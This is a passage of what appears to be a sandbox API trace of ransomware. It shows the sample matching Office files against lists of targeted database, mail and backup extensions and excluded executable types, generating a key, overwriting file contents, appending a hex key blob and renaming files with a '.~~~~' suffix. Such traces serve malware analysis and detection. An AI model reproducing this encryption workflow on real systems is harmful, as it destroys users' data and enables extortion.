	[0146.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0146.898] lstrlenW (lpString=".sqb") returned 4
	[0146.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".sqb") returned 0x0
	[0146.898] lstrlenW (lpString=".ost") returned 4
	[0146.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".ost") returned 0x0
	[0146.898] lstrlenW (lpString=".txt") returned 4
	[0146.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".txt") returned 0x0
	[0146.898] lstrlenW (lpString=".mdt") returned 4
	[0146.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".mdt") returned 0x0
	[0146.898] lstrlenW (lpString=".BDB") returned 4
	[0146.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".BDB") returned 0x0
	[0146.898] lstrlenW (lpString=".eql") returned 4
	[0146.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".eql") returned 0x0
	[0146.899] lstrlenW (lpString=".DBF") returned 4
	[0146.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".DBF") returned 0x0
	[0146.899] lstrlenW (lpString=".EQL") returned 4
	[0146.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".EQL") returned 0x0
	[0146.899] lstrlenW (lpString=".FDB") returned 4
	[0146.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".FDB") returned 0x0
	[0146.899] lstrlenW (lpString=".EDB") returned 4
	[0146.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".EDB") returned 0x0
	[0146.899] lstrlenW (lpString=".DACPAC") returned 7
	[0146.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".DACPAC") returned 0x0
	[0146.899] lstrlenW (lpString=".VHD") returned 4
	[0146.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".VHD") returned 0x0
	[0146.899] lstrlenW (lpString=".DBV") returned 4
	[0146.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".DBV") returned 0x0
	[0146.899] lstrlenW (lpString=".dacpac") returned 7
	[0146.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".dacpac") returned 0x0
	[0146.899] lstrlenW (lpString=".sdf") returned 4
	[0146.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".sdf") returned 0x0
	[0146.899] lstrlenW (lpString=".accdb") returned 6
	[0146.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".accdb") returned 0x0
	[0146.899] lstrlenW (lpString=".DBX") returned 4
	[0146.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".DBX") returned 0x0
	[0146.899] lstrlenW (lpString=".MDT") returned 4
	[0146.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".MDT") returned 0x0
	[0146.899] lstrlenW (lpString=".SQB") returned 4
	[0146.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".SQB") returned 0x0
	[0146.899] lstrlenW (lpString=".vhd") returned 4
	[0146.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".vhd") returned 0x0
	[0146.900] lstrlenW (lpString=".bac") returned 4
	[0146.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".bac") returned 0x0
	[0146.900] lstrlenW (lpString=".mdf") returned 4
	[0146.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".mdf") returned 0x0
	[0146.900] lstrlenW (lpString=".BAK") returned 4
	[0146.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".BAK") returned 0x0
	[0146.900] lstrlenW (lpString=".BAC") returned 4
	[0146.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".BAC") returned 0x0
	[0146.900] lstrlenW (lpString=".dbs") returned 4
	[0146.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".dbs") returned 0x0
	[0146.900] lstrlenW (lpString=".vhdx") returned 5
	[0146.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".vhdx") returned 0x0
	[0146.900] lstrlenW (lpString=".NDF") returned 4
	[0146.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".NDF") returned 0x0
	[0146.900] lstrlenW (lpString=".dat") returned 4
	[0146.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".dat") returned 0x0
	[0146.900] lstrlenW (lpString=".DBS") returned 4
	[0146.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".DBS") returned 0x0
	[0146.900] lstrlenW (lpString=".CKP") returned 4
	[0146.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".CKP") returned 0x0
	[0146.900] lstrlenW (lpString=".edb") returned 4
	[0146.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".edb") returned 0x0
	[0146.900] lstrlenW (lpString=".PST") returned 4
	[0146.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".PST") returned 0x0
	[0146.900] lstrlenW (lpString=".dbf") returned 4
	[0146.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".dbf") returned 0x0
	[0146.901] lstrlenW (lpString=".SQL") returned 4
	[0146.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".SQL") returned 0x0
	[0146.901] lstrlenW (lpString=".pst") returned 4
	[0146.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".pst") returned 0x0
	[0146.901] lstrlenW (lpString=".dbv") returned 4
	[0146.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".dbv") returned 0x0
	[0146.901] lstrlenW (lpString=".SDF") returned 4
	[0146.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".SDF") returned 0x0
	[0146.901] lstrlenW (lpString=".dtxs") returned 5
	[0146.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".dtxs") returned 0x0
	[0146.901] lstrlenW (lpString=".db3") returned 4
	[0146.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".db3") returned 0x0
	[0146.901] lstrlenW (lpString=".OST") returned 4
	[0146.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".OST") returned 0x0
	[0146.901] lstrlenW (lpString=".dbx") returned 4
	[0146.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".dbx") returned 0x0
	[0146.901] lstrlenW (lpString=".DB3") returned 4
	[0146.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".DB3") returned 0x0
	[0146.901] lstrlenW (lpString=".DAT") returned 4
	[0146.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".DAT") returned 0x0
	[0146.901] lstrlenW (lpString=".VHDX") returned 5
	[0146.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".VHDX") returned 0x0
	[0146.901] lstrlenW (lpString=".ndf") returned 4
	[0146.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".ndf") returned 0x0
	[0146.901] lstrlenW (lpString=".DB") returned 3
	[0146.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".DB") returned 0x0
	[0146.902] lstrlenW (lpString=".sql") returned 4
	[0146.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".sql") returned 0x0
	[0146.902] lstrlenW (lpString=".MYD") returned 4
	[0146.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".MYD") returned 0x0
	[0146.902] lstrlenW (lpString=".DBT") returned 4
	[0146.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".DBT") returned 0x0
	[0146.902] lstrlenW (lpString=".ACCDB") returned 6
	[0146.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".ACCDB") returned 0x0
	[0146.902] lstrlenW (lpString=".fdb") returned 4
	[0146.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".fdb") returned 0x0
	[0146.902] lstrlenW (lpString=".bak") returned 4
	[0146.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".bak") returned 0x0
	[0146.902] lstrlenW (lpString=".myd") returned 4
	[0146.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".myd") returned 0x0
	[0146.902] lstrlenW (lpString=".DTXS") returned 5
	[0146.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".DTXS") returned 0x0
	[0146.902] lstrlenW (lpString=".ckp") returned 4
	[0146.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".ckp") returned 0x0
	[0146.902] lstrlenW (lpString=".dbt") returned 4
	[0146.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".dbt") returned 0x0
	[0146.902] lstrlenW (lpString=".db") returned 3
	[0146.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".db") returned 0x0
	[0146.902] lstrlenW (lpString=".TXT") returned 4
	[0146.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".TXT") returned 0x0
	[0146.902] lstrlenW (lpString=".MDF") returned 4
	[0146.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".MDF") returned 0x0
	[0146.903] lstrlenW (lpString=".bdb") returned 4
	[0146.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".bdb") returned 0x0
	[0146.903] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0146.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.903] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x396598) returned 1
	[0146.904] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.904] CryptReleaseContext (hProv=0x396598, dwFlags=0x0) returned 1
	[0146.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0146.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0146.904] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26689453292) returned 1
	[0146.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc0f7cf50, dwHighDateTime=0x1d60e1e)) 
	[0146.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0146.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0146.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0146.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3805f0
	[0146.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3805f0 | out: hHeap=0x300000) returned 1
	[0146.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0146.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870858
	[0146.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.905] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0146.905] GetLastError () returned 0x0
	[0146.906] GetLastError () returned 0x0
	[0146.906] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0146.906] GetLastError () returned 0x0
	[0146.906] GetLastError () returned 0x0
	[0146.906] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.912] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.912] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.914] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.914] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.915] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.915] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.915] CloseHandle (hObject=0x104) returned 1
	[0146.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aca58
	[0146.916] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde.~~~~")) returned 1
	[0146.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0146.919] GetLastError () returned 0x0
	[0146.919] RtlWakeConditionVariable () returned 0x0
	[0146.919] GetCurrentThreadId () returned 0x3a4
	[0146.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".scr") returned 0x0
	[0146.919] lstrlenW (lpString=".cmd") returned 4
	[0146.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".cmd") returned 0x0
	[0146.919] lstrlenW (lpString=".dll") returned 4
	[0146.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".dll") returned 0x0
	[0146.919] lstrlenW (lpString=".bat") returned 4
	[0146.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".bat") returned 0x0
	[0146.920] lstrlenW (lpString=".cpl") returned 4
	[0146.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".cpl") returned 0x0
	[0146.920] lstrlenW (lpString=".sys") returned 4
	[0146.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".sys") returned 0x0
	[0146.920] lstrlenW (lpString=".msc") returned 4
	[0146.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".msc") returned 0x0
	[0146.920] lstrlenW (lpString=".com") returned 4
	[0146.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".com") returned 0x0
	[0146.920] lstrlenW (lpString=".lnk") returned 4
	[0146.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".lnk") returned 0x0
	[0146.920] lstrlenW (lpString=".msp") returned 4
	[0146.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".msp") returned 0x0
	[0146.920] lstrlenW (lpString=".pif") returned 4
	[0146.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".pif") returned 0x0
	[0146.920] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch="msp\r\n.pif") returned 0x0
	[0146.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0146.923] lstrlenW (lpString=".sqb") returned 4
	[0146.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".sqb") returned 0x0
	[0146.923] lstrlenW (lpString=".ost") returned 4
	[0146.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".ost") returned 0x0
	[0146.923] lstrlenW (lpString=".txt") returned 4
	[0146.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".txt") returned 0x0
	[0146.923] lstrlenW (lpString=".mdt") returned 4
	[0146.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".mdt") returned 0x0
	[0146.924] lstrlenW (lpString=".BDB") returned 4
	[0146.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".BDB") returned 0x0
	[0146.924] lstrlenW (lpString=".eql") returned 4
	[0146.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".eql") returned 0x0
	[0146.924] lstrlenW (lpString=".DBF") returned 4
	[0146.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".DBF") returned 0x0
	[0146.924] lstrlenW (lpString=".EQL") returned 4
	[0146.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".EQL") returned 0x0
	[0146.924] lstrlenW (lpString=".FDB") returned 4
	[0146.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".FDB") returned 0x0
	[0146.924] lstrlenW (lpString=".EDB") returned 4
	[0146.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".EDB") returned 0x0
	[0146.924] lstrlenW (lpString=".DACPAC") returned 7
	[0146.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".DACPAC") returned 0x0
	[0146.924] lstrlenW (lpString=".VHD") returned 4
	[0146.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".VHD") returned 0x0
	[0146.924] lstrlenW (lpString=".DBV") returned 4
	[0146.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".DBV") returned 0x0
	[0146.924] lstrlenW (lpString=".dacpac") returned 7
	[0146.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".dacpac") returned 0x0
	[0146.924] lstrlenW (lpString=".sdf") returned 4
	[0146.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".sdf") returned 0x0
	[0146.924] lstrlenW (lpString=".accdb") returned 6
	[0146.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".accdb") returned 0x0
	[0146.924] lstrlenW (lpString=".DBX") returned 4
	[0146.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".DBX") returned 0x0
	[0146.925] lstrlenW (lpString=".MDT") returned 4
	[0146.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".MDT") returned 0x0
	[0146.925] lstrlenW (lpString=".SQB") returned 4
	[0146.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".SQB") returned 0x0
	[0146.925] lstrlenW (lpString=".vhd") returned 4
